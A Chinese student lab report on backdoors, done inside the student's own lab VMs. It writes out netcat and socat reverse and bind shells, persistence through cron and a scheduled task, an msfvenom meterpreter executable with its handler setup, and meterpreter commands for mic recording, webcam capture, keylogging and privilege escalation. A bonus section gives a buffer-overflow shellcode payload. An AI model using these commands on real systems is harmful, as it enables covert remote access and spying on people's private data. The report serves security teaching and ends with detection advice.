Exp2-后门原理与实践

Exp2-后门原理与实践

一、实验内容

（4分+2分附加题）

(1)使用netcat获取主机操作Shell，cron启动 (1分)

(2)使用socat获取主机操作Shell, 任务计划启动 (1分)

(3)使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell(1分)

(4)使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权 (1分)

(5)可选加分内容

二、基础知识

后门：不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中，最常见的是应用程序中的后门，还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序。
常用工具：NC和Netcat、SoCat、Meterpreter等

三、实验过程

(一)使用netcat获取主机操作Shell，cron启动

1.kali获取windows虚拟机的shell

（1）查看kali虚拟机的IP地址

windows:ipconfig

kali:ifconfig

windows ip为：192.168.101.85（热点下为192.168.43.87）
kali ip为：192.168.64.130

（2）在kali虚拟机中开启监听，端口号以学号为基础指定

在主机中使用 ncat.exe -l -p 1213（个人学号后四位）监听本机的1213端口

（3）在虚拟机中使用nc 192.168.101.85（主机IP） 1213 -e /bin/sh连接主机反弹shell

（4）成功getshell

2.Windows获取kali虚拟机的shell

（1）在虚拟机中用nc -l -p 1213监听主机1213端口

（2）在主机中用ncat -e cmd 192.168.101.123(桥接模式虚拟机ip) 1213，成功获取到主机shell

3.在虚拟机中启动cron并在主机监听

（1）先在虚拟机上用crontab -e指令编辑一条定时任务（crontab指令增加一条定时任务，-e表示编辑，输入2表示选择vim编辑器）

在最后一行添加55 * * * * nc 192.168.101.85 1213 -e /bin/sh，即在每个小时的第55分钟反向连接Windows主机的1213端口(等学号13的端口时间太长了)

（2）等到每小时的55分，在ip地址为192.168.101.85的主机端用ncat -l -p 1213打开监听

在主机成功获取虚拟机的shell

（二）使用socat获取主机操作Shell，任务计划启动

1.在Windows获得Linux Shell

（1）在Kali中用man socat查看使用说明

（2）在Windows中按Win+R，再输入compmgmt.msc打开计算机管理

（3）设置任务名称、新建触发器

（4）新建操作，操作设置为启动程序socat.exe，并添加参数tcp-listen:1213 exec:cmd.exe,pty,stderr，这个命令的作用是把cmd.exe绑定到端口1213，同时把cmd.exe的stderr重定向

（5）设置好后将电脑锁屏，解锁后由于Windows防火墙如果没关会弹出UAC警告，说明之前设置成功

（6）在Kali中输入命令socat - tcp:192.168.43.87:1213(连接热点时的主机ip)

成功获取Windows的Shell

（三）使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

1.在Kali上生成后门可执行程序20191213_backdoor.exe

输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.130 LPORT=1213 -f exe > 20191213_backdoor.exe

2.在Windows上打开监听

3.在Kali上用nc 192.168.101.85 1213 < 20191213_backdoor.exe将生成的20191213_backdoor.exe后门程序传过去

4.在kali上使用msfconsole指令进入msf控制台

对msf控制台进行配置,依次输入以下命令

use exploit/multi/handler		#使用监听模块，设置payload
set payload windows/meterpreter/reverse_tcp		#使用和生成后门程序时相同的payload
set LHOST 192.168.64.130			#Kali ip
set LPORT 1213                                  #学号端口 

5.输入exploit进行监听，第一行出现后在Windows主机双击20191213_backdoor.exe后成功获取到Windows的shell

（四）使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权

1.获取目标主机音频

在之前进入的MSF exploit中输入record_mic指令进行录音（-d可设置时长）

2.获取目标主机摄像头

输入webcam_snap指令控制摄像头进行拍照

3.获取击键记录

输入keyscan_start开始捕获键盘记录，keyscan_dump获取击键记录（-d可设置时长）

4.截取主机屏幕

使用screenshot指令可以进行截屏

5.尝试提权

getsystem

（五）加分项：使用MSF生成shellcode，注入到实践1中的pwn1中，获取反弹连接Shell

首先关闭地址随机化并设置堆栈可执行：

参考陈发强同学的博客，输入：msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=172.16.210.44 LPORT=1213 -f c
获得shellcode:

\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xac\x10\xd2\x2c\x66\x68\x04\xbd\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1

结合exp1中找到的pwn1的返回地址（我的是0xffffd190），加在shellcode开头，再在上覆盖缓冲区的随意字符，在Kali上生成shellcode并用如下代码：perl -e 'print "A" x 32; print"\x90\xd1\xff\xff\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xac\x10\xd2\x2c\x66\x68\x04\xbd\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'>input 生成input，然后再按照之前的方法设置msf控制台
在一终端运行pwn1，另一终端用msfexploit监听，攻击成功：

四、基础问题回答

1、例举你能想到的一个后门进入到你系统中的可能方式？

在非官方网站上下载一个同样名字的文件，在Windows询问是否允许本次操作点击允许之后可能就被植入了后门程序。

2、例举你知道的后门如何启动起来(win及linux)的方式？

• 修改系统配置
  创建定时触发任务，添加启动项
  修改默认的Shell程序
• 用户运行了带有后面的exe可执行程序
• 利用远程控制软件启动

3、Meterpreter有哪些给你映像深刻的功能？

录像和录音 这两个功能太狠了，等于使用设备时随时处在攻击者的监控之下

4、如何发现自己有系统有没有被安装后门？

• 打开杀毒软件定时进行检查
• 查看任务计划程序、开机自启动项中有没有被设置奇怪触发条件的任务
• 查看有没有平常不用却异常开启的端口

五、实验心得

本次实验让我感受到后门程序植入的危险性，很可能一不小心点击下载了一个未经安全验证的exe执行程序，并且在某一天心血来潮点开看看之后就被设置了启动后门的条件，可以随时触发我电脑上的后门，并且获得我的摄像头、音频、电脑文件和键盘输入等隐私信息，可能在不知不觉中就盗取了我很多的个人信息，从而带来严重的损失。这也提醒我没事的时候还是可以把杀毒软件打开，避免一些后门程序的植入，对于本次实验的后门程序，在杀毒软件没有关闭的情况下，会提示我不能运行，也是一种防范措施。通过这次实验，对于植入后门的技术和相应的安全背景也有了一定了解。